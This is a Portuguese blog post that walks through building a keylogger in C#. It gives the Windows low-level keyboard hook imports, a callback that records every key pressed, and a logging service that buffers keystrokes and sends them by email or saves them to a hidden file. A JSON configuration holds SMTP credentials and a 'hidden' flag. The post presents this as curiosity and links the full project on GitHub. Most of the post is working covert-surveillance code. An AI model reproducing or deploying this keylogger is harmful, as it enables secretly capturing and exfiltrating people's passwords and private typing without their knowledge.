Keylogger em C#

Eu sempre tive curiosidade de saber como funcionava um keylogger. Para quem não sabe, como descrito na Wikipedia, um keylogger é:

Keystroke logging , muitas vezes referida como keylogging ou captura de teclado , é a ação de gravar (ou registrar) as informações escritas em um teclado, normalmente de uma forma encoberta de modo que a pessoa que usa o teclado não tem conhecimento de que suas ações estão sendo monitoradas. Ela tem usos no estudo da interação humano-computador. Existem vários métodos keylogging, que vão desde hardwares e abordagens baseadas em software até análises de acústica.

Comecei a procurar no google sobre keyloggers e acabei descobrindo que é realmente muito fácil capturar o que está sendo digitado no teclado. Partindo do princípio que estamos no Windows, nós temos duas dlls a nossa disposição, sendo elas a user32 e a kernel32. Com isso, nós podemos receber um evento sempre que uma tecla for pressionada no teclado.

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

Com isso, estamos falando para o nosso programa que utilizaremos estas funções que já foram implementadas em outro lugar(neste caso, nas dlls). Escrevendo um pouco de código, chegamos onde a mágica acontece, que fica no seguinte método:

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            _logService.AddEntryToLog(((Keys)vkCode).ToString());
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

Onde recebemos um evento do teclado, verificamos o parâmetro wParam, que nos informa se a tecla foi “apertada” ou “liberada”. Como queremos saber algo quando alguma tecla foi pressionada, apenas verificamos se wParam é igual a 0x0100. Caso queira saber de outro comportamento, wParam pode receber as seguintes mensagens:

    #define WM_KEYDOWN    0x0100
    #define WM_KEYUP      0x0101
    #define WM_SYSKEYDOWN 0x0104
    #define WM_SYSKEYUP   0x0105

Depois, nós pegamos o código da tecla que foi pressionada, através do parâmetro recebido lParam. Como precisamos fazer algo com o que foi digitado, eu implementei um serviço simples para logar o que foi digitado:

    public class LogService
    {
        private readonly EmailService _emailService;
        private readonly FileService _fileService;
        private readonly Configuration _configuration;
        private readonly TextBuffer _buffer;

        public LogService(Configuration configuration)
        {
            _configuration = configuration;
            _emailService = new EmailService(configuration.email);
            _fileService = new FileService(configuration.log);

            _buffer = new TextBuffer(configuration.maxCharBeforeLog);
            _buffer.BufferOverflowed += _buffer_BufferOverflowed;
        }

        public void AddEntryToLog(string text)
        {
            _buffer.Add(text);
        }

        private void _buffer_BufferOverflowed(string text)
        {
            if (_configuration.email.sendEmail)
                _emailService.SendIfInternetIsAvailable(text);

            if (_configuration.log.logToFile)
                _fileService.LogToFile(text);
        }
    }

Esta classe não faz nada além de verificar se é para enviar um email contendo o texto digitado e/ou salvar um arquivo com o texto. Para ficar mais fácil de configurar se é necessário enviar email, informações do email, etc. Eu criei um arquivo de configuração para informar estes dados:

{
    "maxCharBeforeLog": "9999",
    "log": {
        "logToFile": "true",
        "hidden": "true",
        "location": ""
    },
    "email": {
        "sendEmail": "true",
        "smpt": "",
        "port": "",
        "email": "",
        "password": "",
        "to": ""
    }
}

Bom, é isso! Que quiser testar, modificar, etc., eu coloquei este projeto no github: https://github.com/ceb10n/OopsMyKeyboard/

see yah 😉

Anúncios

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s